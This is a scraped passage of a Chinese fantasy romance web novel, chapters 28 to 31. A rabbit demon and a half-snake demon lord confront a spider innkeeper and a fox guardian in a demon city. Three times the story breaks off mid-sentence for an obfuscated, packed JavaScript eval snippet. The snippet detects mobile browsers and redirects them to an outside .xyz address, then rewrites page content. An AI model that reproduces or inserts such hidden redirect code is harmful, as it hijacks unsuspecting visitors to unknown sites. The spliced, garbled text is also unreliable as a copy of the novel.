玉扶小脸刷地红了又白,她的学习能力向来不差,虽然在很多时候还是会感到懵懂,可她就是知道,胡搅蛮缠,还有没有眼力见,都是在点她。 玉扶伤心地停住步子,看向阿裴,他还是没有让她一起,也没有帮她说蛛娘。 他一定是认同蛛娘说的话了。 玉扶收了眼,不看他们,生气地从他们中间过,将二妖都撞到旁去,兀自地挑了一间靠里的房:“我要这间。” 蛛娘揉了揉了肩跟上,这小兔妖力气还怪大,气性也不小,这位妖君竟能忍? 裴息尘还真能忍,十日没到,他不准备让欠收拾的兔子占到他便宜,他示意道:“房匙给她,我要她旁边那间。” 玉扶闻言,重重地对他哼了声,夺过房匙,用力阖上门,关了外头二妖一鼻子灰。 蛛娘吃吃笑道:“妖君这般照顾小兔妖,莫不是妖君的妹子?” 她话中全然的打趣,半点不见得真是将他当兔妖的兄长,更像是在用玉扶与他调情。 蛛娘看不透裴息尘的修为,不过,她也不惧,妖王城就是再厉害的妖来了都要收敛着些,化形得这般妖孽野性,不撩拨一下,倒是可惜的很。 裴息尘眸子冷下,慑人的锐意顿现,瞧见玉扶靠在门后偷听的影子,才复收敛点地入了旁边的房,蛛娘紧跟其后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365668|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门合上的声音,听得玉扶牙都要咬碎了。 她反复地想闯入隔壁,去警告阿裴,不能用息尘的身体跟别的妖乱来。 可一想到裴息尘不反驳女妖说的话,心里就堵得慌,她才没有胡搅蛮缠,胡搅蛮缠的分明是他! 她赌气地忍耐,贴到中间隔着的一堵墙上听隔壁的动静。 想着,如果他们只是说话,她就大度一点,如果阿裴用息尘的身体乱来,她就冲进去保护。 然而,也不知是不是这个房的隔音太好,玉扶竟然一点声音都听不见,她的耳朵分明很灵的。 蛛娘跟同裴息尘入了房,自发地合上门,妖嘛,寻欢作乐再正常不过,难的是,遇上极心仪的,至于是不是别人的,都不要紧。 她转身间,笑意都还不曾收敛,蓦地就被极大的力惯倒钉在门扇之上,疼痛传遍全身,眼珠都不曾反应过来地一上一下凝滞。 但很快,她的额上还有眼下,又分别冒出几双眼睛,帮她极快地弄清现状,躲过了下一击,整个妖身以一种极诡异扭曲的姿态攀在房梁与屋柱之上,八只眼全向下盯视着裴息尘: “唤你一句妖君,真当可以在老娘这儿为所欲为了不成?” “老娘愿意睡你,是看得起你!” 腹部同时射出诸多利刃一样的丝线攻击向裴息尘。 因是专为妖城中的妖准备的客栈,房间内部的空间大到足以容下妖化形后的活动,裴息尘躲了几下蛛丝,再看蛛娘已然妖化更甚,除了一个八只眼的头瞧得出点人形,大布袋一样臃肿的腹部不断嚣张地吐着丝,几只前足更是拥向他的来。 嚣张又丑陋。 裴息尘失了周旋的耐心,凶剑一闪而出,跗节砍落,蛛娘发出哭嚎一般的怒吼。 凶剑本就不常被放出,被这声吼惊得像是才瞧清了砍的是什么玩意,受到惊吓般地脱离了息尘,“哐哐”一阵乱砍。 肢节乱飞,剑光闪得只能瞧清剑柄尾部拉出的一团白绒。 凶剑是真的很喜欢从玉扶那抢来的白绒球了,裴息尘没收下,它径直地昧下了,也无剑穗,但就如细绳坠在尾端一样,剑光每闪一下,绒球就跟着拉出一条云痕一样的线。 他嗤了一声,等了片刻,握住了飞回的剑柄。 剑柄在他手中不断地颤,活像是见了鬼的委屈,跟他传递着砍的妖怪好丑、好吓剑啊,尾部的白绒球也附和似的,一弹一弹。 而被砍的蛛娘,原形缩小了一大半,腹部全是剑痕,就连吐丝的纺器都差点被整个切了,趴伏着向外逃。 然触到房门时她才惊觉,这男妖不止修为不可测,竟还擅长结界术,从踏入起,此间房就已成了她的囚笼。 她痛苦地化为人形,开始求饶:“妖君,求你,别杀我......我知道错了!” “你想知道什么,我都可以告诉你!” 到了这一刻,她若还不知道此妖为何要与她独处,她就白于妖域活这些年了,她一时见色起意,说了太多外城的妖本该不知的消息,她自以为是猎手,其实早就成了猎物。 既然技不如人,她也甘愿用所知的来作交换。 她忍着痛缓慢坐起,多余的眼睛从面上隐去,恢复了先前的女子化形,受伤的缘故,面容较之前反倒还多出来些伶弱的美感。 微向上掀的眼,即便落到这境地,也仍克制不住地将目光落在男子身上,妖王城来来往往的妖,她不知见过多少,可眼前男妖的化形,实算得上佼佼,身量修长,一举一动筋骨舒展间,贵气又野性。 才看一眼,凶剑直插至眼前,剑气悍劲得险些削去她的鼻。 她本能地后退一点,也以为接下来会被问询内城相关的问题,没想,听到的第一句话竟是: “本君养的兔子,还轮不到你来置喙。” 蛛娘:........ 29. 第 29 章 玉扶露出的伤心神色,裴息尘不是没有看见。 不过,要钓一只已经上钩的兔子,总是不能太心软的。 说好的十日,怎就许佛子圣洁,拒绝她,就不许他也同她分房? 他要的,是玉扶当初怎么讨好佛子的,就该如何地想着法地来讨好他。 但这不代表有没眼力见的妖就能当着他的面欺负玉扶。 插于蛛娘眼前的凶剑,蓦地又下压了寸许。 蛛娘能屈能伸,既知症结是在兔妖,连忙道:“我这就去同兔妖道歉。” “让我被她羞辱也可,只求妖君放过我。” 蛛娘又在垂泪。 裴息尘既收拾了她,也不在乎她还是否道歉,不过,见她求饶态度尚可,倒是没有结果了她。 凶剑仍直插蛛娘跟前,慑得她一动也不敢动,反观裴息尘,又犯了懒地扯来一张椅,坐下,辨不出喜怒地往椅沿一搭,道:“说罢,都知道什么?” 即便他姿态再闲懒,蛛娘也不再认为自己有一战之力,这妖打她,根本没用多少力。 她猜测,这外来的大妖,或许也是为了妖王城的虚实而来,当下有心卖几分好,不再隐瞒地开始从内城的几位妖将说起。 内城有三大妖族,分别代表的是妖域内最强也最大的三个种族,狐族、鹰族还有狼族。 这三大妖族或多或少都有些远古妖神的血脉,在妖王不曾一统妖域之前,一直都是这三大妖族分割着整个妖域。 也正因这三族的难管,妖王一统后,干脆地将他们各族有些实力的大妖,全抓到了妖王城一并封了妖将,在眼皮子底下地看着。 如今,妖王不显,这三大妖族重新起势,都铆足了劲地想自成妖王。 但三大妖族实力实在差不离,也皆担忧若其中两方打起来,让第三方捡了便宜,故而,都在等着妖神古墟开启,若能从中得到传承,其他两族也便不足为惧。 蛛娘因伤口疼,总说得很慢,可她仍留出一分心来观察裴息尘的面色,怪道,怎连妖神古墟都还不感兴趣? 甚至显见的不耐烦,她一时不知该不该着重提及妖神古墟。 这传说中的地方,没有妖没听过。 只是到底在哪,早就在一代一代稀释的妖族血脉中失去了传承。 便是内城的大妖们也是近些年才寻到,更别说到底费了多少功夫才研出开启之法。 她也是凭多年的经营,兼与鹰族的少主有过些情缘,方对妖神古墟听得一些内城大妖才知的消息,她咬咬牙地放出最后的底牌:“妖君若能放我,我可为妖君同鹰族作保,引荐妖君也入妖神古墟。” 裴息尘眼珠终于转了转,看了蛛娘一眼,难怪嚣张到要强睡了他,原来还有靠山啊,可到底是引荐,还是借刀杀人,谁知道呢? 他动都不带动地道:“说狐妖。” 蛛娘哽一下,不是在乎兔妖吗? 绕来绕去怎又到了狐妖身上? 白瞎了她放出的妖神古墟消息,懊恼地遮下眼道: “雪仙护法出自狐妖一族,同狐族的少主雪漪是同父异母的姐妹。” “只是,关系极差。” 蛛娘想了想,连同雪仙护法昔年的秘辛也一并说了:“雪仙护法并非天生九尾,她血统不纯,狐尾天残,早些年于狐族中,颇受欺凌。” “后来不知怎的,被妖王带到了身边当个妖侍,常跟同妖王外出游历。” “渐渐地,不管是妖王身边的事,还是妖王城内的事,雪仙护法皆有接手,因这份独特,她于妖王城中的地位也日渐特殊了起来。” “再有一日,妖王城中就为她建起了一座楼,听闻是在外得了修复天残狐尾的法门,需收集妖的七情与六欲来辅助修炼。” 裴息尘挑了挑眉,他有听过炼心的修士需勘破七情六欲,可从没听过这些还能帮妖长出尾巴。 “靠这一座楼,雪仙护法补上了先天的残缺,也在妖王城有了势力,如今,她独立狐族之外,自成一派,坚定妖王派系,手下也聚集了不少妖将。” “同各族都有不少往来。” 毕竟,若是妖王真的不在了,雪仙护法手中的势力是个变数,就是狐族,如今也不少有意同她修好,否则,也不会任由她的妖楼在妖王城中吸魂夺魄了。 蛛娘并瞧不透裴息尘是哪一类目的的妖,她略隐瞒了一点实情地道:“我该说的都说完了,旁的,也再不知晓了。” “妖君可能放了我了?” 裴息尘站起了身,没说要放,只是拔起剑地道:“你说的那座楼,带我去。” 雪亮的剑光照亮他的眼,既漫不经心,又偶有一瞬,闪过摧金断戟一般的狂放杀意。 他是想杀雪仙护法! 蛛娘没有一刻如此肯定,这妖疯了,这里可是妖王城! 她想过他了解几大妖族,是有想投靠的妖族,也想过他或是想凭借难得的化形,成为雪仙护法的入幕之宾,但万万没想到他是个狂妄的杀神! 就雪仙护法的地位,还有同妖王和三大妖族的联系,他竟想杀她? 她不会带这个路的! 蛛娘倒退着冲撞房门,却被弹回撞上裴息尘的剑尖,剑尖压制着她跪倒,甚至挑入她的肩胛。 “本君不是让你做选择。”裴息尘对妖君的尊称还算满意,就连自称也越发顺口。 邪气肆意的声直达耳膜,蛛娘清楚感知他是笑着说这话的,简直是—— 疯子! “我带你去!”蛛娘尖叫屈服。 一声吼出,“刺啦”的剑刃抽离皮肉声也随之撤出,蓝色的蜘蛛血浸染了蛛娘的衣衫。 她捂着伤口,费力起身,不知第几次后悔招惹了这种有病不怕死的妖。 * 玉扶终于听到了隔壁开门的动静,装作不经意地开了一道门缝。 裴息尘就立于门外,子夜一样的眸子垂视着她。 玉扶吓了一大跳,关门,却恰被裴息尘的手卡住。 玉扶推不动,也不敢推,为自己辩解:“我才没有偷看你。” 又不放心地观察他,观察他有没有用这具身体和其他的妖乱来。 她从下往上,又从上往下,眼皮都不掀地将能扫的地方都扫了,衣服都很干净,也没有褶,不过这不能代表什么都没发生,毕竟亲亲又不要胸膛以下。 玉扶有经验。 “啧,要看就大胆点看。” 裴息尘用指节顶了玉扶的额一下,迫得她抬头。 他指节带了力,一下就痛得玉扶捂头,不过,也确实看清楚了,唇干干的,一点水渍也没有。 玉扶不知怎的,就是松了好大的一口气,但小脸仍绷得紧紧的,就算阿裴没和其他的妖亲亲,那也是帮其她的妖了,玉扶记仇的很,兽兽不亲的话,她也不邀他入房,挡在门口等着他说话。 “妖君,可能走了?” 蛛娘的声音,也不知是有意还是无意,于玉扶看不到的角度传来。 玉扶垮了脸,偏裴息尘还真被蛛娘催动了,塞给玉扶一面镜子:“我出去一趟,不方便带你,你别乱跑,等我回来。” “答应入妖域给你的镜子,你应当会用。” “我在外给你布一层结界,里头,你自个用镜子再布一层幻境再入睡。” 裴息尘向来不耐烦又懒,一口气语速加快地说着叮嘱,玉扶还没反应过来,就被往房中推了推。 他帮她把门阖上了!? 然后,她连他们离开的声音都听不见了。 玉扶又震惊又生气,捏着镜子的手紧了又紧,恨不得抛出去砸阿裴。 可她根本看不到他们的去向,甚至,她被锁在里头了。 是的,锁了,那层结界。 玉扶方才就试过,出不去。 什么不方便带她,分明就是去快活了! 玉扶知道的很,她师姐们就是这样拒绝跟同她一起下山的—— “阿扶,你是去找情人,带着个长辈还怎么找?” “你难不成见过我们作伴一起找情人的吗?” “这种事嘛,就是要独身才好发挥。” …… 所以,玉扶才不信裴息尘的“有事”。 有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371009|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么事是不能带她,反而能带一个今日才认识的蜘蛛精的? 阿裴一点都不可靠,他爱华服,爱强扭瓜,就好比,不能吃肉喝酒,非要尝试,她不愿意跟着他,也非要带上她…… 他还没羞耻,比她还要妖精。 他根本守不住自己! 玉扶一直是这样认定的,心底也异常的焦躁,一面觉得他的身体不是只属于他自己,还是息尘的,她该帮息尘看顾着。 一面又觉得,应该是她的。 玉扶无处发泄的气愤,化为了巨大的兔形身体,在房中肆意地冲撞,震动,企图通过破坏来破开结界。 然,整个客栈连同后头的客院,都被玉扶的动静震得晃动起来,偏就她房中的结界牢固得纹丝不动。 楼下的大堂中,小妖们躲到了桌下:“这是住进了什么妖,怎么动静这么大?” “好像是兔妖。”送房匙的小妖回想。 “兔妖能有这么大动静?”有妖不信,眼见地又有其他房客因动静离开,连忙高喊:“别走,房钱还没结!” 然而,那跑掉的妖一听到房钱,跑得越发快。 桌下小妖商议:“谁去将那兔妖赶走?” “这样下去,客人都被赶走了,掌柜的回来要剥了我们皮!” 一鱼鳍耳的小妖笨笨地摇头,重复着蛛娘离开前的吩咐:“掌柜的说,要照顾好今日新住入的客人。” “兔妖是今日入住的。” 无解下,每隔片刻,就有一房客受不了震动地跑掉,也每隔片刻,楼上就要大闹一下。 直到玉扶累了。 * 妖王城,内外城交界。 楼叠架着楼,灯连着灯,繁华溢彩至极。 “那就是七欲楼。”蛛娘指着楼道。 裴息尘没有看她,只是平静瞧着七欲楼,光滑的虹膜滑过兽类捕猎一般的异光。 是真狂妄的疯子! 蛛娘倒退一步,并不想被牵连,借口道:“妖君,我亲近鹰族,不便踏入七欲楼,可能放我离去?” “你骗了我。” 突兀的话语。 蛛娘的脚却霎时被钉在地上一般。 她分明想立即跑,却如何都动不了,身畔宛如有密密麻麻的爬蛇在锁定着她。 “七欲楼还有秘密。”裴息尘微微偏过眼,逶迤的发向肩后滑落,笑着道:“你同我一起进去。” 玉扶经常觉得裴息尘笑得像坏蛋,但他真当坏蛋时,笑意总是更森、更邪、也更寒,一旦被盯上,那便是不死不休。 蛛娘在一瞬,深有体会,她张口,愿意全盘吐露。 然,裴息尘并非真想听她说,他不过是不放她回去找玉扶麻烦,他抽不出手来处理会发生在玉扶身边的意外,所以,有心眼的妖还是拿来探路算了,就算死了,也是她故意隐瞒的活该。 蛛娘的影子中冒出数条与她身躯融为一体的细蛇,它们缠上她的脚踝,帮助着她走向七欲楼。 她的喉,也卡着尖锐的獠牙。 她踏入了七欲楼。 甫一进入,全然一个浓缩的声色之所,赌桌、歌舞、美酒佳肴…… 世间所能概括出来的声、色、欲似都能在此寻见。 这样满足妖天性的场所,蛛娘却异常的抗拒。 裴息尘终于给了她一个开口的机会。 蛛娘能感觉到盘于脖颈的蛇,松开了尖牙,她脱力一般喘气,不敢再有隐瞒:“妖君,这座楼可夺人魂念。” 果然如此,裴息尘神识散于楼中,能感觉到,但凡是入了此楼的妖,所有的情绪、欲念都会成倍成倍地放大。 喜、怒、哀、惧、爱、恶、欲,但凡有一欲,大到脱离身体,魂念就再离不开这座楼。 魂念并不等同神魂,但可算妖之精气的一种,不至妖死,不过,轻则萎靡一段时日,重则,寿数减少。 损妖利己的修炼之法。 而脱离出来的魂念去了哪,裴息尘的神识直往顶楼闯去,他慢慢露出一个轻慢的笑: 找到了—— 别有用心唤醒他妖性的狐妖。 30. 第 30 章 七欲楼最顶层,水雾弥漫,偌大的一层空间,除了帷帐后的一张榻,竟只有分道两边的巨大水池。 不断有魂念从池中析出,飘向帷帐后。 倏地,雪仙从魂念中感到异常多的恐惧情绪—— 密密麻麻的爬蛇虫兽从四面八方侵入了七欲楼,一只蜘蛛在一楼大堂中发狂。 雪仙认识这只蜘蛛,千织客栈的掌柜蛛娘,是不要命了,来她这里捣乱! 雪仙眼中戾气顿现,但很快,她察觉还有别的妖在操控这一切。 意识到后,她反而松下了心神。 原来是她的少主人寻来了啊—— 她可等到他了。 只是可惜她的尾巴,在逃回妖域之前,又被追来修士断了一尾。 如今归妖域不久,妖们的欲念总是太过简单,能供给她的养分也实太少,第四尾,竟才只恢复了一半。 她略甩了甩尾,将最短的狐尾遮在了最下面。 水雾开始分散,幔帐飞舞中,所有残余的魂念都在飘向她。 恰是时,剑势狂烈,惊涛骇浪般的杀意袭来,这回对向的不是她的尾巴,而是她的心窝。 毫不留手,带着一击毙命的狠决。 雪仙折腰伏倒,四肢成爪,爪尖磋过剑锋,滋啦刺耳,爪心血口,血流不止。 她看向来人,吮去血,唇畔露笑:“你便这样对唤醒你记忆的恩人吗?” “可真令我伤怀。” 她比上次更有闲心去欣赏裴息尘的身躯,化形中寻不出一丝不完美的痕迹。 她目光赤1裸贪婪,全然看所有物一般欣赏。 裴息尘冷笑,他便知这狐狸不怀好意,拔了她剩余的尾巴不怕她不交代目的。 一时间,池水沸腾,二妖对抗更盛,然,当裴息尘又要掐上狐妖脖颈之时,池中法阵浮现,巨大妖兽尸骸从中冒出。 尸骸将裴息尘围住,雪仙趁此时机退出战斗,她遥望着裴息尘,狐唇中发出足以影响人心智的惑术: “我的少主人,你寻来此,难道不正是猜到了什么吗?” “你不想你的母亲吗?” “还是说——你真把自己当佛子了?” 雪仙的声音遽然尖利,所有尸骸一同攻向裴息尘。 这些尸骸,每一具生前都是一方大妖,但他们仍不够强,无论是精神还是□□,都无法承载她主人的全部伟大。 唯有,唯有那被尸骸团团围住之人,才是堪配为主人的妖躯。 若非他逃走,最完美的妖躯早该炼成,绝不会像现在这样,竟会在尸骸的攻击下负伤。 雪仙的眸子沁出极度惋惜的神采。 她带着惑术的声音实在贯耳,裴息尘击溃一具尸骸的同时,双耳渗出了血,也不期然地,脑中回想起被巨大法阵锁于水牢之中大蛇。 那是一条靛蓝色鳞片的大蛇,她的身躯大部分都藏在水下,唯有七寸往上的头部盘在一石柱之上,她的目光时而凶戾,时而又温柔无比。 她温静时,头顶泄入的一缕月光常将她的鳞片耀得如蓝宝石一般美丽。 每当这时,他会控制不住地想靠近她。 即便她十次里有九次想杀他。 裴息尘想过无数次会死在她的口中,也认为他本就该死在她手中,毕竟是他的诞生,才令她变得虚弱,也是他的诞生,才令她变得有机可乘。 裴息尘知晓,大蛇是他的母亲,也知她是完整的妖,而他,是她与人族结合产下的孩子。 他也被关于地牢,每隔数日,便会有声称是他父亲的男子派人来带他离开地牢。 那是个面色极为病态苍白的男人。 听说他病得很严重,所以需要他的血续命。 不管理由是真还是假,他并反抗不了。 这些异常久远的记忆,乍然想起,激得裴息尘凶性更甚,他全然爆发地荡出庞大的妖息,妖骸如被慑住一般,僵硬一瞬。 也是这一瞬,足以凶剑挑断妖骸所有连接的关窍,本就是死物而已,他捏住了从中析出的黑雾一般的妖魄,一把捏散。 他与那个失去记忆的废物佛子不同,他记得所有,也更旁观了“他”于佛宗的二百年,不空圣者,将“他”藏得非常好,“他”满心修佛成圣,也几乎不曾离开过佛宗。 能知晓“他”是半妖的,这世间统共也没几人。 追狐妖而来,是必然。 只要入了要妖域,妖王的昔日事迹,想不听也难。 并不难猜得,他的大蛇母亲,或许就是近百年不出现的妖王。 她没死啊,而且,还有狐妖这样的得力护法在,她仍想回归妖域继续成为妖王。 这些,全然是狐妖传递给他的信息。 所以,她到底意欲何为呢? 用这种弯弯绕绕的方式,只是为了告诉他妖王没死吗? 裴息尘杀意昂然地掐住了狐妖的脖颈,笑意渗人:“你这般不惜代价,混入正道宗门唤醒我,你想效忠于我?” 他的手极冰,力道在缩紧,吸取了第一次拧断狐妖脖子的教训,这次在拧断狐妖脖颈的同时,他于周身布下了结界。 果然,掐死一次,只是断一条尾巴。 但困于结界的狐妖,这次没能跑掉。 裴息尘笑得恶劣至极,长指交错发出一声响,大结界中分出一个球形小结界,所有空气都被分出。 大结界内的狐妖开始窒息地护上脖颈,利爪不断抓挠结界之上,企图挣脱。 裴息尘并不急地等待她缓慢窒息。 一尾、二尾—— 雪仙只剩下了最后新长出的半尾。 裴息尘重新分入了一口空气,雪仙短暂喘息一口。 她不懂,二百多年的修佛,为何恢复记忆以后,会是这般残忍的半妖。 道心崩溃得未免也太彻底。 她本企图见他挣扎,诱他暂担起妖王城少主的责任,到时,再入了妖神古墟,这副妖躯也将打造得更完美,日后主人接手,也可再不受妖躯溃烂的困扰。 然,所有的走向都偏离了她的控制。 雪仙异常不甘地盯着裴息尘,“少主,你母亲是妖域数千年来唯一的妖王,你难道甘心她的心血付诸东流?” “她是因你从王座跌下,你当了二百年的佛宗佛子,就全然忘了这些吗?” “你本该是我妖王城的少主人!” 她字字沁血般忠心,全然不顾最后半尾的生命力:“妖神古墟,少主,你可以变得更强——” “我愿追随——” 裴息尘五指虚抓,毫不留情地将她剩余的声音连同结界一齐捏碎。 一缕黑雾似的烟气从中溢出。 裴息尘凝着那缕烟气消散,若有所思地掏向狐妖的心口。 啊,果然是空的。 还可真是狡猾的狐狸,真难杀。 裴息尘厌烦地盯向满手的血迹,真脏。 幸而没带怂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376847|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兔子来,不然怕是又要吓哭了。 许是想到玉扶的哭脸,他心情又甚愉悦地踱到池边,慢条斯理地清洗着污血。 洗完,径直看向吓傻了的蛛娘,从她身旁翩然绕过。 可再轻飘飘的一眼,蛛娘也恨不得从没招惹过这等大妖,更恨不得不曾听得雪仙护法同他的最后谈话,妖王竟有过孩子,而这个孩子竟还杀死了愿意追随的雪仙护法。 她直觉地,妖王城日后的局势怕是还有得变。 * 裴息尘不信狐妖的任何一句话。 尤其是在发现狐妖或许根本没死。 那缕黑雾似的烟气,非常的不同寻常,像是某种炼化了的妖魄。 除了狐妖还有那些妖躯上有这种发现,很不巧的,于意识被禁时,他也曾感受到过一次。 就在“他”遇到玉扶的那一日,那个紧追玉扶的妖魄上,他感觉到了非常相似的气息。 这些当中一定有着什么关联。 犹想着,已回到了千织客栈,几个小妖见他,如见什么救星一般双眼放光。 “妖君,你可算回来了,你的兔子——” 话未说完,整个客栈又是一阵摇晃。 小妖站不稳,坚持说完:“管管她吧……” 裴息尘扬了扬眉,意识到什么,上了二楼,长长的廊道,摇晃得灯盏都在生气摆动。 结界于他手中消融,然甫一进入房中,并不曾见到正常的客栈摆设,而是一层套一层的幻阵。 裴息尘哂然一笑,怂兔子,气性大归大,还挺怕死。 这些幻阵并拦不住裴息尘,不见如何动作,已然抓到了惑心镜本体,坐于正中床榻之上的玉扶也现于眼前。 她眼下妖纹异常夺目,每闪一下,脚下便是好一阵的地动山摇。 他食指点上玉扶眉心:“莫闹了。” 极淡又带些疲倦的语气,玉扶倏地睁眼,一瞬当是息尘回来了。 她目中的惊喜,取悦了裴息尘,扯唇笑道:“阿扶,就这么舍不得同我分开?” 坏蛋自得的笑,是阿裴。 玉扶霎时换上了赌气的怒瞪,哼哼地扭头。 “惯得你,又哼哼什么?”裴息尘又挤玉扶的脸,强行将她掰过来与他面对面。 “你关我,身上全是其他妖的味道,还凶我。”分明是指责的话,可玉扶反倒先将自己说委屈了。 “你为什么不带我了?” 但坏蛋就是坏蛋,一点也不会反思自己,裴息尘打量着眼眶红红爱哭的兔子,手指又往她脸蛋上捏了捏,毫不留情地道:“你弱。” 玉扶哽住,事实打击得她哭也哭不出来了,她确实弱,出了游仙会的秘境,就算融合了无相石,也因自身修为的限制,发挥不出无相石真正的本事。 尤其是在这妖王城,妖修遍地走,能称得上大妖的更不在少数。 她现在的修为,大抵也就妖王城外城妖修的中下水准,用人修的衡量标准,再加一点水分,也不过是金丹中期的水平。 玉扶根本反驳不了地与裴息尘眼瞪着眼。 裴息尘随意地往床榻上坐,视线从上往下地打量玉扶,扯唇随意问:“想变厉害?” 这不是废话吗? 哪有不想变强的妖? 尤其还是她这种修为倒退的,她每一天都想着快点再厉害一些呢。 玉扶委屈哒哒地点了个头。 裴息尘:“那便去妖神古墟罢。” 31. 第 31 章 玉扶懵然抬眼,对没听过的地名很是疑惑。 “那是什么地方?” “能让我变强?” 裴息尘“唔”了声,又犯困了似的:“大概吧。” 不明确的回答,玉扶很不满,是就是,不是就不是,什么叫做大概吧! 她板着脸,噘着嘴,气呼呼地瞧裴息尘,他不带她出门,回来后还对她好敷衍,果然是有其他的妖了。 玉扶趁着裴息尘闭眼假寐的关头,倾身朝他的方向嗅了又嗅,有蜘蛛精的味道,有血腥气,还有闻不出来什么妖的尸味……其中最明显的是狐狸的妖味。 玉扶越闻越纠结,他到底是去做什么了,怎么能染上这样多的味道? 他是去寻雪仙打架了吗? 他受伤了吗? 玉扶闻得专注,也皱着眉想得专注,全然没发现自己的鼻尖快要触碰上裴息尘的胸膛。 裴息尘天生的坏人气质,眸光稍扫一眼玉扶的举动,大大方方地任由色兔子的靠近,直到她近得不能再近,才做样地扯了扯衣襟,指腹抵开玉扶,提醒:“阿扶,十日还未到。” 玉扶脑子滞了滞,方反应过来,他是当她又馋他呢。 自大狂!真小气! 玉扶恼了地与他拉开距离,一双清凌凌的目,满是敢怒不敢言。 偏生,裴息尘还对她笑了。 生动,惑人。 男妖精。 他就坐于她面前,慵懒展开的胸膛,大度无比的神情。 玉扶发现,她居然还是挺喜欢他皮囊的,即便是坏蛋时。 她听见他散漫的调子道:“阿扶,你知道,我是很想照顾你的,可约定就是约定,再喜欢我,你也要忍忍。” 玉扶脸色绷了绷,真的很想反驳,可他说的也不全然是不对的,他真的很大方了,什么要求都能答应,可以摸摸,可以亲亲,还会给活的灵息…… 但,玉扶就是觉得哪里还有些不对。 她明明应该得到更多的,可偏又怎么样都责怪不到阿裴身上,是她自己提出的要求,他只是答应了而已。 也只是照顾到她的接受力而已。 玉扶生出些烦躁,她怎么又被他的一句话带偏了! 然她是一只野兔子,即便意识到话题的偏离,也只会顺从本性地为自己争取更多:“不可以不作数吗?” 裴息尘意味深长地望向玉扶,贪心的兔子,三心二意的兔子,已经慢慢开始不能忍耐的兔子。 但他就是有无限的耐心。 裴息尘咧唇,怜惜地对她笑。 他真好看,笑起来时,慵慵懒懒的,带着温柔,带着邪性,一点也不好心肠,可就是瞧得人心跳都快了几分,神思也飘然了几分。 更瞧得人生出了希冀。 玉扶紧张地盯着他的唇,几乎快要肯定,他一定会答应的,他都已经答应过她好多次要求了。 然而,玉扶只听得了极为肯定的二字: “不行。” 玉扶怔怔望着裴息尘的口型,好一会才从心底泛上淡淡的失望。 “好吧,那要怎么去妖神古墟?” 玉扶有些低落,可,她连一会是佛子,一会是妖的裴息尘都能接受,适应力自是不用说,她的想法也非常的简单,既然要按约定,那她变厉害,阿裴就不能克扣她了。 裴息尘也吃惊于她思维的跳跃,略想了下回答:“不知道。” 玉扶:“?” “……” 沉默。 玉扶再次觉得阿裴真的很不靠谱,除了大方一点,他一点也不稳重,他怎么什么不知道就建议她去妖神古墟?又怎么就认定妖神古墟可以帮她变厉害? 他真的很—— 很—— 玉扶想了半天也没憋出形容来,总之,他就是同息尘一点也不一样。 “你这什么眼神,嗯?”裴息尘不爽,一只馋她的色兔子,竟然挑剔他:“你心里在想什么?” “又将我同‘他’比较?” “不就一妖神古墟,我还会带不了你去?” “再用这种眼神看我——” 裴息尘本想又说“吃了你”的威胁,然想到自己做出的承诺,话转了个弯地恶意道:“剃了你的毛当围脖。” 玉扶浑身顿感一阵冷意,委屈红了眼。 坏蛋就是坏蛋,坏死了!他的剑上次抢走了她的绒球,耳边那一簇毛都还没长好呢,她都好一段时间不敢面对,现在,竟然更过分地想要围脖。 裴息尘刷新了玉扶对坏蛋的认识,他不吃她,但他还有好多的手段恐吓她。 她真的讨厌死息尘中邪的性格了! 可同时,玉扶又是识时务的,她又气又怂地缩回眼,垂着睫小声嘟囔:“只会凶。” 裴息尘听得耳朵痒,撩眼看她,她与他隔着好大的距离坐在床沿,侧靥气呼呼的,发丝都被呼出的气吹得浮动,裴息尘盯着她看,觉得哪哪都有趣,肌肤莹莹的,总让人有想捏的冲动,眼瞳黑亮,又灵动又无辜,小嘴嫣红,常常说些大胆请求。 裴息尘的眉眼弯一下,大度地放过了她的小声蛐蛐,感受到身上一些伤口的愈合,再次思量起狐妖说的话。 有一点狐妖说的没错,他可以变得更强,二百年才经放出的妖性,同同样躯体强悍的诸多妖骸对上,才可感受出缺憾,他一次皮都不曾蜕过,蛇鳞坚硬程度,还有妖躯的强悍程度,于大妖中,并没有任何的优势。 即便狐妖所指别有用心,妖神古墟或都值得去一趟。 他又看一眼玉扶,想,给家养的小兔寻一些机缘也不错。 他笑着,从床沿起身,要往外去,不查地,袖摆被什么揪住。 垂眼,与玉扶水润润的眸子对上。 “你要去哪?”玉扶琉璃般晶亮的眸子一眨不眨地看着裴息尘,“我觉得,你可以带上我。” 虽然被凶,但玉扶真的很不放心。 